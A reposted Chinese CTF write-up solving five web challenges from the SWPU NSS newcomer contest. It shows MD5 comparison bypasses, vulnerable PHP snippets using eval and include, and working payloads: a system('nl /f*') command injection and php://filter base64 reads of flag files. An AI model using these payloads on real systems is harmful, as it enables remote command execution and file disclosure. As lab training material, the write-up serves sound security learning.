• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

SWPU NSS新生赛校外通道web奇妙的MD5、whereami、webdog1__start、ez_ez_php、ez_ez_php(revenge)

武飞扬头像
L_ergo
帮助1

1、奇妙的MD5

  1. 查看head,发现有md5绕过

学新通

  1. 这边有一个算是万能绕过的字符:ffifdyop,根据函数md5加密后,再次转换为字符串时,会变成’or’6,此时函数一定为真。(具体内容可以查一查md5($pass,true)函数)

输入后跳转页面

学新通

  1. 查看一下源码,存在一个MD5弱类型绕过,

数组绕过一下:/?x[]=1&y[]=2

学新通

学新通

  1. 跳转了页面,访问一下,md5强类型绕过

还是数组绕过就可以:wqh[]=1&dsy[]=2

然后就出flag了

学新通

学新通

2、whereami

  1. 这题,应该算是信息搜集吧,给了一张图,说是11位,应该是电话号码,百度识图一下:百度识图搜索结果

查到应该是在成都,锦江区的某个酒店吧,看一下图片的名字,我眼神不好,应该是古*酒店,百度搜索一下,应该是叫古迹酒店

  1. 查一下成都锦江区古迹酒店

学新通

  1. 尝试一下,电话号码,跳转页面,成功

学新通

3、webdog1__start

  1. 打开页面,查看源码,存在一个弱类型md5绕过,需要一个特殊值:0e215962017来进行绕过。

构造一下:?web=0e215962017

学新通

  1. 传值后跳转到下一个页面:

学新通

这地方没找到什么,只有一个能点击,应该是大佬的博客,页面跳转,应该不是题目内容了,所以抓个包看看

学新通

  1. 抓包后,在响应包里找到了一个页面,访问一下试试

学新通

  1. 访问后,又找到一个页面,继续访问

学新通

  1. 找到了一个php页面,应该也是一个绕过吧
  1.  
    <?php
  2.  
    error_reporting(0);
  3.  
     
  4.  
     
  5.  
    highlight_file(__FILE__);
  6.  
     
  7.  
     
  8.  
     
  9.  
    if (isset($_GET['get'])){
  10.  
    $get=$_GET['get'];
  11.  
    if(!strstr($get," ")){
  12.  
    $get = str_ireplace("flag", " ", $get);
  13.  
     
  14.  
    if (strlen($get)>18){
  15.  
    die("This is too long.");
  16.  
    }
  17.  
     
  18.  
    else{
  19.  
    eval($get);
  20.  
    }
  21.  
    }else {
  22.  
    die("nonono");
  23.  
    }
  24.  
     
  25.  
    }
  26.  
     
  27.  
     
  28.  
     
  29.  
     
  30.  
    ?>
学新通

分析一下,两个部分:第一个是strstr()函数,与str_ireplace()函数配合使用吧

Get值正常输入,没有问题,不能带flag,因为带flag会替换成空格,就不能过掉strstr()函数,也不能存在空格。

构造一下:?get=system(ls);

学新通

  1. 能运行命令,但是还有一条长度不能超过18,

构造语句:用 能代替空格

看看根下,确实有flag

学新通

  1. 尝试构造语句,查看一下flag

语句:?get=system('nl /f*');

最后出flag

学新通

4、ez_ez_php

  1.  
    <?php
  2.  
    error_reporting(0);
  3.  
    if (isset($_GET['file'])) {
  4.  
    if ( substr($_GET["file"], 0, 3) === "php" ) {
  5.  
    echo "Nice!!!";
  6.  
    include($_GET["file"]);
  7.  
    }
  8.  
     
  9.  
    else {
  10.  
    echo "Hacker!!";
  11.  
    }
  12.  
    }else {
  13.  
    highlight_file(__FILE__);
  14.  
    }
  15.  
    //flag.php
学新通

首先,访问一下flag.php,

学新通

  1. 尝试一下伪协议,这边还有一句real_flag_is_in_'flag'

所以构造一下:

http://url/?file=php://filter/read=convert.base64-encode/resource=flag

学新通

  1. 这边应该是base64,解密一下,出flag

学新通

5、ez_ez_php(revenge)

  1.  
  1.  
    <?php
  2.  
    error_reporting(0);
  3.  
    if (isset($_GET['file'])) {
  4.  
    if ( substr($_GET["file"], 0, 3) === "php" ) {
  5.  
    echo "Nice!!!";
  6.  
    include($_GET["file"]);
  7.  
    }
  8.  
     
  9.  
    else {
  10.  
    echo "Hacker!!";
  11.  
    }
  12.  
    }else {
  13.  
    highlight_file(__FILE__);
  14.  
    }
  15.  
    //flag.php
学新通

这边跟上一次,伪协议类似,看看flag.php

学新通

这次说是在/flag处,用伪协议

  1. 咱们直接搞:

http://url/?file=php://filter/read=convert.base64-encode/resource=/flag

学新通

  1. 还是base64解密,出flag

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhichkai
系列文章
更多 icon
同类精品
更多 icon
继续加载